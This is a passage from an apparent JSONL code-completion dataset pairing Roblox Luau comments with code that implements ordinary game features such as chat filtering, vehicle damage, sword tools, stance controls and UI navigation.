self:IsSome() and self._v == value\nend\n\n"} +{"prompt": "-- events", "completion": "\n\nREMOTES.Chat.OnServerEvent:connect(function(player, message, scope)\n\tlocal players\n\t\n\tif scope == \"Global\" then\n\t\tplayers\t= Players:GetPlayers()\n\telseif scope == \"Squad\" then\n\t\tlocal squad\t= GetSquad(player)\n\t\tif squad then\n\t\t\tplayers\t= {}\n\t\t\t\n\t\t\tfor _, p in pairs(squad:GetChildren()) do\n\t\t\t\ttable.insert(players, p.Value)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif not cooldowns[player] then\n\t\tcooldowns[player]\t= 0\n\tend\n\t\n\tcooldowns[player]\t= cooldowns[player] + 1\n\t\n\tif cooldowns[player] <= MAX_PER_SECOND then\n\t\tif players then\n\t\t\tif string.gsub(message, \"%s\", \"\") ~= \"\" then\n\t\t\t\tlocal result\t= TextService:FilterStringAsync(message, player.UserId)\n\t\t\t\tfor _, p in pairs(players) do\n\t\t\t\t\tspawn(function()\n\t\t\t\t\t\tpcall(function()\n\t\t\t\t\t\t\tif player.Parent == Players and p.Parent == Players and Chat:CanUsersChatAsync(player.UserId, p.UserId) then\n\t\t\t\t\t\t\t\tlocal filtered\t= result:GetChatForUserAsync(p.UserId)\n\t\t\t\t\t\t\t\tREMOTES.Chat:FireClient(p, player.Name, filtered, scope)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telse\n\t\tREMOTES.Chat:FireClient(player, \"SERVER\", \"Woah there, you're sending messages too fast!\", \"Server\")\n\tend\nend)\n\nPlayers.PlayerRemoving:connect(function(player)\n\tif cooldowns[player] then\n\t\tcooldowns[player]\t= nil\n\tend\nend)\n"} +{"prompt": "-- ALWAYS PUBLIC:", "completion": "\nfunction GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...}\n\tlocal query_list = {}\n\tfor _, global_update in ipairs(self._updates_latest[2]) do\n\t\tif global_update[3] == false then\n\t\t\tlocal is_pending_lock = false\n\t\t\tif self._pending_update_lock ~= nil then\n\t\t\t\tfor _, update_id in ipairs(self._pending_update_lock) do\n\t\t\t\t\tif global_update[1] == update_id then\n\t\t\t\t\t\tis_pending_lock = true -- Exclude global updates pending to be locked\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif is_pending_lock == false then\n\t\t\t\ttable.insert(query_list, {global_update[1], global_update[4]})\n\t\t\tend\n\t\tend\n\tend\n\treturn query_list\nend\n\nfunction GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...}\n\tlocal query_list = {}\n\tfor _, global_update in ipairs(self._updates_latest[2]) do\n\t\tif global_update[3] == true then\n\t\t\tlocal is_pending_clear = false\n\t\t\tif self._pending_update_clear ~= nil then\n\t\t\t\tfor _, update_id in ipairs(self._pending_update_clear) do\n\t\t\t\t\tif global_update[1] == update_id then\n\t\t\t\t\t\tis_pending_clear = true -- Exclude global updates pending to be cleared\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif is_pending_clear == false then\n\t\t\t\ttable.insert(query_list, {global_update[1], global_update[4]})\n\t\t\tend\n\t\tend\n\tend\n\treturn query_list\nend\n"} +{"prompt": "--vehicle.Nose.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)\n--vehicle.Bumper_Front.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)\n--vehicle.Bumper_Back.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)\n--vehicle.Tailgate.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)\n--vehicle.ExhaustPipe.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)", "completion": "\n\nfrontForceField.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, -1, 0)) end)\nbackForceField.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 1, 0)) end)\n\nvehicle.Wheel_BackLeft.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)\nvehicle.Wheel_FrontLeft.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)\nvehicle.Wheel_BackRight.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)\nvehicle.Wheel_FrontRight.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)\n\nlocal vehicleDamaged = false\nfunction checkIfVehicleIsDamaged()\n\tif (not frontForceField.Parent or not backForceField.Parent) and not vehicleDamaged and allowDamage then\n\t\tvehicleDamaged = true\n\t\tscript.IsDamaged.Value = true\n\t\tvehicle.VehicleScript.Disabled = true\n\t\tvehicleSmoke.Enabled = true\n\t\tvehicle.VehicleSeat.MaxSpeed = 0\n\t\tvehicle.ExhaustPipe.Smoke.Enabled = false\n\t\t-- Break Joints\n\t\tvehicle.Wheel_BackLeft:BreakJoints()\n\t\tvehicle.Wheel_FrontLeft:BreakJoints()\n\t\tvehicle.Wheel_BackRight:BreakJoints()\n\t\tvehicle.Wheel_FrontRight:BreakJoints()\n\t\thood:BreakJoints()\n\tend\nend\n\nvehicle.ChildRemoved:connect(checkIfVehicleIsDamaged)\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type ForPairs = StateObject<{ [KO]: VO }> & Dependent & {\n\t-- kind: \"ForPairs\" (add this when Luau supports singleton types)\n}"} +{"prompt": "--!strict", "completion": "\nlocal makeTimerImpl = require(script.makeTimerImpl)\nlocal makeIntervalImpl = require(script.makeIntervalImpl)\nlocal assign = require(script.Parent.Object.assign)\n\nexport type Timeout = makeTimerImpl.Timeout\nexport type Interval = makeIntervalImpl.Interval\n\nreturn assign({}, makeTimerImpl(task.delay), makeIntervalImpl(task.delay))\n"} +{"prompt": "--[[\n\t\n\tCURRENT LOADER:\n\thttps://www.roblox.com/library/2373505175/Adonis-Loader-BETA\n\t\n--]]", "completion": "\n\n\n\n"} +{"prompt": "---------------\n--// Variables\n---------------", "completion": "\nlocal OceanSound = game.SoundService.Ambience.Calm_Ocean_Loop\nlocal WoodsSound = game.SoundService.Ambience[\"English Forest 14 (SFX)\"]\nlocal debounce = false\nlocal isAnimating = false\n\n\n"} +{"prompt": "-- Modules", "completion": "\nlocal Chassis = require(Car.Scripts.Chassis)\nlocal Effects = require(Car.Scripts.Effects)"} +{"prompt": "-- constants", "completion": "\nlocal configuration = require(script.Parent.Parent.Parent.Config)\nlocal DEBUG_HTTP = configuration.DEBUG_HTTP\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nscript.Parent:WaitForChild(\"Humanoid\").Touched:connect(function(p1, p2)\n\tif p1:FindFirstChild(\"kills\") and script.Parent.Humanoid.Health > 0 and p2.Name ~= \"Part\" and p2.Name == \"hitbox\" then\n\t\tprint(\"Killed because \" .. tostring(p2) .. \" touched a killing part\");\n\t\tscript.Parent.Humanoid.Health = 0;\n\tend;\nend);\n"} +{"prompt": "-- StarterGui:SetCore() takes a few frames to set up, need to wait", "completion": "\nwait(0.1)\n\nlocal function setCoreInit()\n\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)\n\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)\nend\n\nwhile not pcall(function() setCoreInit() end) do\n\twait(0)\nend\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 10\n\nlocal slash_damage = 12\nlocal lunge_damage = 25\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .6\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\n\tgame.Debris:AddItem(creator_tag, 1)\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tlocal force = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80\n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tswordOut()\n\twait(.25)\n\tforce.Parent = nil\n\twait(.5)\n\tswordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < 4) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "--[[\nYou can choose whatever sound you like by typing \"true\" or else \"false\".\nRead \"README\" for more informations. Coding made by Me.\n--]]", "completion": "\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER_DATA\t= ReplicatedStorage.PlayerData\n"} +{"prompt": "-- Initialize the tool", "completion": "\nlocal LightingTool = {\n\n\tName = 'Lighting Tool';\n\tColor = BrickColor.new 'Really black';\n\n};\n"} +{"prompt": "-- Setup", "completion": "\ngradientReference.BackgroundColor3 = START_COLOR\ncolorGoal = END_COLOR\n\nlocal tweenInfo = TweenInfo.new(TWEEN_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true)\nlocal tween = TweenService:Create(gradientReference, tweenInfo, {BackgroundColor3 = colorGoal} )\n\ntween:Play()\n\ntween.Completed:Connect(function()\n\tif gradientReference.BackgroundColor3 == END_COLOR then gradientReference.BackgroundColor3 = START_COLOR end\n\ttween:Play()\nend)\n\n"} +{"prompt": "--[ FUNCTIONS ]--", "completion": "\n\ngame.Players.PlayerAdded:Connect(function(player) -- When Player Join\n\tplayer.CharacterAdded:Connect(function(chr) -- Grabs Player Character\n\t\tplayer.Chatted:Connect(function(msg) -- When Player Chats\n\t\t\t\n\t\t\tlocal Humanoid = chr:WaitForChild(\"Humanoid\") -- Getting Humanoid\n\t\t\tlocal Desc = Humanoid:GetAppliedDescription() -- Getting Humanoid Description\n\t\t\tDesc.RightLeg = 139607718 -- Korblox Leg\n\t\t\t\n\t\t\t-- IF command match start --\n\t\t\t\n\t\t\tif msg:sub(1, Command:len()):lower() == Command:lower() then -- if msg is /e headless then\n\t\t\t\tHumanoid:ApplyDescription(Desc)\t\n\t\t\tend\n\n\t\t\t-- IF command match end --\n\t\t\t\n\t\tend)\n\tend)\nend)\n"} +{"prompt": "--[[\n\t\n\ttweenJoint Function Parameters:\n\t\n\tObject Joint - This has to be a weld with a C0 and C1 property\n\t\n\tCFrame newC0 - This is what the new C0 of the weld will be. You can put nil if you don't want to effect the C0\n\t\n\tCFrame newC1 - This is what the new C1 of the weld will be. You can put nil if you don't want to effect the C1\n\t\n\tfunction Alpha - This is an alpha function that takes an input parameter of a number between 0 and 90 and returns a number between 0 and 1.\n\t\tFor example, function(X) return math.sin(math.rad(X)) end\n\t\t\n\tfloat Duration - This is how long the tweening takes to complete\n\t\n--]]", "completion": "\nlocal RS = game:GetService(\"RunService\")\n\nlocal Proned2\n\nRendido.Changed:Connect(function()\n\tStance:FireServer(Stances,Virar,Rendido.Value)\nend)\n\nAlgemado.Changed:Connect(function()\n\tStance:FireServer(Stances,Virar,Rendido.Value)\nend)\n\nfunction Stand()\n\t\n\tStance:FireServer(Stances,Virar,Rendido.Value)\n\tTS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()\n\t\n\tif Steady then\n\t\tHumanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value\n\t\tHumanoid.JumpPower = ServerConfig.JumpPower\n\t\telse\n\t\tif Ferido.Value == false then\n\t\t\tHumanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value\n\t\t\tHumanoid.JumpPower = ServerConfig.JumpPower\n\t\telse\n\t\t\tHumanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value\n\t\t\tHumanoid.JumpPower = ServerConfig.JumpPower\n\t\tend\n\tend\n\n\n\tIsStanced = false\t\n\tProned2 = Vector3.new(0,0,0)\n\nend\n\n\n\n\n\nfunction Crouch()\n\t\n\tStance:FireServer(Stances,Virar,Rendido.Value)\n\tTS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()\n\tHumanoid.WalkSpeed = ServerConfig.CrouchWalkSpeed * StancesPasta.Mobility.Value\n\tHumanoid.JumpPower = 0\n\tIsStanced = true\t\n\tProned2 = Vector3.new(0,0,0)\nend\n\nfunction Prone()\n\t\n\tStance:FireServer(Stances,Virar,Rendido.Value)\n\tTS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()\n\tif Rendido.Value == true then\n\tHumanoid.WalkSpeed = 0\n\telse\n\tHumanoid.WalkSpeed = ServerConfig.ProneWalksSpeed * StancesPasta.Mobility.Value\n\tend\n\tHumanoid.JumpPower = 0 \n\tIsStanced = true\n\tProned2 = Vector3.new(0,0.5,0.5)\nend\n\nfunction Lean()\n\nTS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()\nStance:FireServer(Stances,Virar,Rendido.Value)\nend\n\t\nUserInputService.InputBegan:Connect(function(input, gameProcessed)\n\tif not gameProcessed then\n\t\tif input.KeyCode == Enum.KeyCode.C and Stances == 0 and ChangeStance and Caido.Value == false and Correndo.Value == false and not _G.Lean and not Sentado then\n\t\t\tStances = 1\n\t\t\t--CameraX = 0\n\t\t\tCameraY = -1\n\t\t\tPoses.Levantado.Visible = false\n\t\t\tPoses.Agaixado.Visible = true\n\t\t\tPoses.Deitado.Visible = false\n\t\t\tCrouch()\n\t\t\t\n\t\t\t\t\n\t\t\t_G.Crouched = true\n\t\telseif input.KeyCode == Enum.KeyCode.C and Stances == 1 and ChangeStance and Caido.Value == false and Correndo.Value == false and not _G.Lean and not Sentado then\t\n\t\t\tStances = 2\n\t\t\tCameraX = 0\n\t\t\tCameraY = -3.25\n\t\t\tVirar = 0\n\t\t\tPoses.Levantado.Visible = false\n\t\t\tPoses.Agaixado.Visible = false\n\t\t\tPoses.Deitado.Visible = true\n\t\t\tPoses.Esg_Right.Visible = false\n\t\t\tPoses.Esg_Left.Visible = false\n\t\t\tLean()\n\t\t\tProne()\n\t\t\t\n\t\t\t_G.Crouched = false\n\t\t\t_G.Proned = true\n\t\t\t\n\t\telseif input.KeyCode == Enum.KeyCode.X and Stances == 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and not _G.Lean and not Sentado then\n\t\t\t_G.Crouched = true\n\t\t\t_G.Proned = false\n\t\t\tStances = 1\n\t\t\t--CameraX = 0\n\t\t\tCameraY = -1\n\t\t\tPoses.Levantado.Visible = false\n\t\t\tPoses.Agaixado.Visible = true\n\t\t\tPoses.Deitado.Visible = false\n\t\t\tCrouch()\n\t\t\t\n\t\t\t\t\n\t\telseif input.KeyCode == Enum.KeyCode.X and Stances == 1 and ChangeStance and Caido.Value == false and Correndo.Value == false and not _G.Lean and not Sentado then\t\t\n\t\t\t_G.Crouched = false\n\t\t\tStances = 0\n\t\t\t--CameraX = 0\n\t\t\tCameraY = 0\n\t\t\tPoses.Levantado.Visible = true\n\t\t\tPoses.Agaixado.Visible = false\n\t\t\tPoses.Deitado.Visible = false\n\t\t\tStand()\n\t\telseif input.KeyCode == Enum.KeyCode.Z and ChangeStance and Caido.Value == false and Correndo.Value == false then\n\t\t\t\tif not Steady then\n\t\t\t\tSteady = true\n\t\t\t\tPoses.Steady.Visible = true\t\t\t\t\t\t\t\n\t\t\t\t\tif Stances == 0 then\n\t\t\t\t\t\tStand()\n\t\t\t\t\t\tHumanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\tSteady = false\n\t\t\t\tPoses.Steady.Visible = false\n\t\t\t\t\tif Stances == 0 then\n\t\t\t\t\t\tStand()\n\t\t\t\t\t\tHumanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value\n\t\t\t\t\tend\n\t\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.E and Stances ~= 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and not _G.Lean and CanLean then\t\t\n\t\t\tif Virar == 0 or Virar == -1 then\n\t\t\t\tVirar = 1\n\t\t\t\tCameraX = 1.75\n\t\t\t\tPoses.Esg_Right.Visible = true\n\t\t\t\tPoses.Esg_Left.Visible = false\n\t\t\telse\n\t\t\t\tVirar = 0\n\t\t\t\tCameraX = 0\n\t\t\t\tPoses.Esg_Right.Visible = false\n\t\t\t\tPoses.Esg_Left.Visible = false\n\t\t\tend\n\t\t\tLean()\n\t\telseif input.KeyCode == Enum.KeyCode.Q and Stances ~= 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and not _G.Lean and CanLean then\n\t\t\tif Virar == 0 or Virar == 1 then\n\t\t\t\tVirar = -1\n\t\t\t\tCameraX = -1.75\n\t\t\t\tPoses.Esg_Right.Visible = false\n\t\t\t\tPoses.Esg_Left.Visible = true\n\t\t\telse\n\t\t\t\tVirar = 0\n\t\t\t\tCameraX = 0\n\t\t\t\tPoses.Esg_Right.Visible = false\n\t\t\t\tPoses.Esg_Left.Visible = false\n\t\t\tend\n\t\t\tLean()\n\t\telseif input.KeyCode == Enum.KeyCode.LeftShift and Correndo.Value == false and Ferido.Value == false and Caido.Value == false and not _G.Lean and not Sentado and not cansado then\t\n\t\t\tif Velocidade > 0 then\n\t\t\tChangeStance = false\n\t\t\tCorrendo.Value = true\n\t\t\t--Steady = false\n\t\t\tStand()\n\t\t\tStances = 0\n\t\t\tVirar = 0\n\t\t\tCameraX = 0\n\t\t\tCameraY = 0\n\t\t\tLean()\n\t\t\tPoses.Levantado.Visible = true\n\t\t\tPoses.Agaixado.Visible = false\n\t\t\tPoses.Deitado.Visible = false\n\t\t\tPoses.Esg_Right.Visible = false\n\t\t\tPoses.Esg_Left.Visible = false\n\t\t\tHumanoid.WalkSpeed = ServerConfig.RunWalkSpeed * StancesPasta.Mobility.Value\n\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\t\nUserInputService.InputEnded:Connect(function(input, gameProcessed)\nif not gameProcessed then\n\tif input.KeyCode == Enum.KeyCode.LeftShift and Correndo.Value == true and not _G.Lean then\t\n\t\tChangeStance = true\n\t\tCorrendo.Value = false\n\t\tif Steady then\n\t\tHumanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value\n\t\tPoses.Steady.Visible = true\t\n\t\telse\n\t\tHumanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value\n\t\tPoses.Steady.Visible = false\n\t\tend\n\t\tend\n\tend\nend)\n\n\n\t\nStand()\n\nHumanoid.Died:Connect(function()\n\tTS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()\n\tChangeStance = false\n\tMain.Visible = false\nend)\n\nHumanoid.Seated:Connect(function(IsSeated, Seat)\n\n\tif IsSeated then\n\t\tSentado = true\n\t\tStand()\n\t\tStances = 0\n\t\tVirar = 0\n\t\tCameraX = 0\n\t\tCameraY = 0\n\t\tLean()\n\t\tPoses.Levantado.Visible = true\n\t\tPoses.Agaixado.Visible = false\n\t\tPoses.Deitado.Visible = false\n\t\tPoses.Esg_Right.Visible = false\n\t\tPoses.Esg_Left.Visible = false\n\t\t\t\n\t\tif Seat:IsA(\"VehicleSeat\") then\n\t\t\tCanLean = false\n\t\tend\n\t\t\t\n\telse\n\t\tSentado = false\n\t\tCanLean = true\n\tend\nend)\n\nHumanoid.Running:Connect(function(Speed)"} +{"prompt": "-- player removing event", "completion": "\nplayers.PlayerRemoving:connect(function(leaving)\n\tadjust(leaving.Name)\nend) \n"} +{"prompt": "-------------------Speed Controls ( Up/down/Forward/Backward)-------------------", "completion": "\n\t\t\t\tif(key == \"d\") and (faster == false) and (slower == false) and (Spd_keep == true) and ( on == true) then \n\t\t\t\t\tlocal val = plane.Engine:findFirstChild(\"Speed\")\n\t\t\t\t\tfaster = true\n\t\t\t\t\twhile faster do\n\t\t\t\t\t\tif(val.Value < minspeed) or (val.Value > maxv) then return end\t\t\t\t\t\t\t\n\t\t\t\t\t\tif(val.Value == maxv) then faster = false end \n\t\t\t\t\t\tval.Value = val.Value +1\n\t\t\t\t\t\twait()\n\t\t\t\t\t\tend \t\t\n\t\t\t\t\n\t\t\t\telseif(key == \"a\") and (faster == false) and ( on==true) and (Spd_keep == true) then\n\t\t\t\tif(on == false) or (plane.Engine:findFirstChild(\"Speed\") == nil) then return end\n\t\t\t\t\tif(slower == false) and (faster == false) then\n\t\t\t\t\t\tlocal val = plane.Engine:findFirstChild(\"Speed\")\n\t\t\t\t\t\tslower = true\n\t\t\t\t\t\twhile slower do\n\t\t\t\t\t\tif(val.Value >=minspeed) then\n\t\t\t\t\t\tval.Value = val.Value -1\n\t\t\t\t\t\telseif(val.Value < minspeed) then\n\t\t\t\t\t\tval.Value = minspeed\n\t\t\t\t\t\tslower = false\n\t\t\t\t\t\tend \n\t\t\t\t\t\twait()\n\t\t\t\t\t\tend \n\t\t\t\tend\n\t\t\t\t\tend \n\t\t\t\n\t\t\t--Below u can see 2 if's these are if the Vert_keep value is set to true\n\t\t\t\tif(key == \"s\") and planedebounce == false and on == true then\n\t\t\t\tlocal val = plane.Engine:findFirstChild(\"VerticalSpeed\")\n\t\t\t\tif(val == nil) then return end\n\t\t\t\t\tdowner = true\n\t\t\t\t\tuper = false \n\t\t\t\t\twhile downer do\n\t\t\t\t\tif(val.Value == -20) then downer = false break end\n\t\t\t\t\tif(downer==false) then break end\n\t\t\t\t\tval.Value = val.Value -1\n\t\t\t\t\twait(.1)\n\t\t\t\t\tend\t\n\t\t\t\tend \n\n\t\t\t\tif(key == \"w\") and planedebounce == false and on == true then\n\t\t\t\tlocal val = plane.Engine:findFirstChild(\"VerticalSpeed\")\n\t\t\t\tif(val == nil) then return end\n\t\t\t\t\tuper = true\n\t\t\t\t\tdowner = false\n\t\t\t\t\twhile uper==true do \n\t\t\t\t\tif(uper == false) then break end\n\t\t\t\t\tif(val.Value >= 20) then\n\t\t\t\t\t\tuper = false\n \n\t\t\t\t\tend\n\t\t\t\t\tval.Value = val.Value +1\n\t\t\t\t\t\n\t\t\t\t\twait(.1)\n\t\t\t\t\t\tend\n\t\t\t\tend \n\t\t\n\n\t--[[\tif(string.byte(key) == 20) and (on == true) then \n\t\t\tlocal engine = plane.Engine\n\t\t\tlocal bg = engine.BodyGyro\n\t\t\t\tsideleft = true\n\t\t\t\twhile sideleft do\n\t\t\t\tsideway = 20\n\t\t\t\twait(.1)\n\t\t\tend\n\t\tend \n\t\t\t\n\t\tif(string.byte(key) == 19) and (on == true) then \n\t\t\tlocal engine = plane.Engine\n\t\t\tlocal bg = engine.BodyGyro\n\t\t\t\tsideright = true\n\t\t\t\twhile sideright do\n\t\t\t\tsideway = -20\n\t\t\t\twait(.1)\n\t\t\tend\n\t\tend \t]]--\n\t\n\t\tif(string.byte(key) == 23) and on then \n\t\t\tlocal engine = plane.Engine\n\t\t\tlocal spd = engine.Speed\n\t\t\tif(spd.Value < 0) then \n\t\t\twhile spd.Value ~= 0 do\n\t\t\t\tspd.Value = spd.Value +1\n\t\t\twait(.1)\n\t\t\tend\n\t\t\telseif(spd.Value > 0) then \n\t\t\twhile spd.Value ~= 0 do\n\t\t\t\t\tspd.Value = spd.Value -1\n\t\t\twait(.1)\n\t\t\tend\n\t\t\telseif(spd.Value == 0) then spd.Value = 0\n\t\t\treturn \n\t\t\tend\n\t\tend \n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -1.5\n\tTune.RCamber\t\t= -1.5\n\tTune.FToe\t\t\t= 0.1\n\tTune.RToe\t\t\t= 0.1\n\t"} +{"prompt": "-- PRIVATE METHODS", "completion": "\nfunction IconController:_updateSelectionGroup(clearAll)\n\tif IconController._navigationEnabled then\n\t\tguiService:RemoveSelectionGroup(\"TopbarPlusIcons\")\n\tend\n\tif clearAll then\n\t\tguiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled\n\t\tguiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled\n\t\tIconController._navigationEnabled = nil\n\telseif IconController.controllerModeEnabled then\n\t\tlocal icons = IconController.getIcons()\n\t\tlocal iconContainers = {}\n\t\tfor i, otherIcon in pairs(icons) do\n\t\t\tlocal featureName = otherIcon.joinedFeatureName\n\t\t\tif not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName..\"Open\"] == true then\n\t\t\t\ttable.insert(iconContainers, otherIcon.instances.iconButton)\n\t\t\tend\n\t\tend\n\t\tguiService:AddSelectionTuple(\"TopbarPlusIcons\", table.unpack(iconContainers))\n\t\tif not IconController._navigationEnabled then\n\t\t\tIconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled\n\t\t\tIconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled\n\t\t\tguiService.CoreGuiNavigationEnabled = false\n\t\t\tguiService.GuiNavigationEnabled = true\n\t\t\tIconController._navigationEnabled = true\n\t\tend\n\tend\nend\n\nlocal function getScaleMultiplier()\n\tif guiService:IsTenFootInterface() then\n\t\treturn 3\n\telse\n\t\treturn 1.3\n\tend\nend\n\nfunction IconController._setControllerSelectedObject(object)\n\tlocal startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0\n\tIconController._controllerSetCount = startId\n\tguiService.SelectedObject = object\n\tdelay(0.1, function() -- blame the roblox guiservice its a piece of doo doo\n\t\tlocal finalId = IconController._controllerSetCount\n\t\tif startId == finalId then\n\t\t\tguiService.SelectedObject = object\n\t\tend\n\tend)\nend\n\nfunction IconController._enableControllerMode(bool)\n\tlocal indicator = TopbarPlusGui.Indicator\n\tlocal controllerOptionIcon = IconController.getIcon(\"_TopbarControllerOption\")\n\tif IconController.controllerModeEnabled == bool then\n\t\treturn\n\tend\n\tIconController.controllerModeEnabled = bool\n\tif bool then\n\t\tTopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)\n\t\tTopbarPlusGui.TopbarContainer.Visible = false\n\t\tlocal scaleMultiplier = getScaleMultiplier()\n\t\tindicator.Position = UDim2.new(0.5,0,0,5)\n\t\tindicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)\n\t\tindicator.Image = \"rbxassetid://5278151556\"\n\t\tindicator.Visible = checkTopbarEnabledAccountingForMimic()\n\t\tindicator.Position = 